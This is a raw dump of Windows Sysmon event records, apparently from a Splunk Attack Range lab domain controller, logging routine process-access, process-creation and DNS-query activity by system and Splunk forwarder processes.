09:11:57.319{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-295D-5F80-3D01-000000007F01}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.304{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295D-5F80-3D01-000000007F01}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.318{A5F018FF-295D-5F80-3D01-000000007F01}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000005628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.903{A5F018FF-295C-5F80-3C01-000000007F01}3808win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe 10341000x80000000000000005630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:12.364{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25dfa|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:12.364{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:20.035{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2974-5F80-3E01-000000007F01}4940C:\Windows\system32\wermgr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:20.035{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-2974-5F80-3E01-000000007F01}4940C:\Windows\system32\wermgr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e014|c:\windows\system32\UBPM.dll+115a2|c:\windows\system32\EventAggregation.dll+3fae|c:\windows\system32\EventAggregation.dll+3ea1|c:\windows\system32\EventAggregation.dll+36c9|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:20.035{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:20.035{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.813{A5F018FF-2994-5F80-4001-000000007F01}37324056C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2994-5F80-4001-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 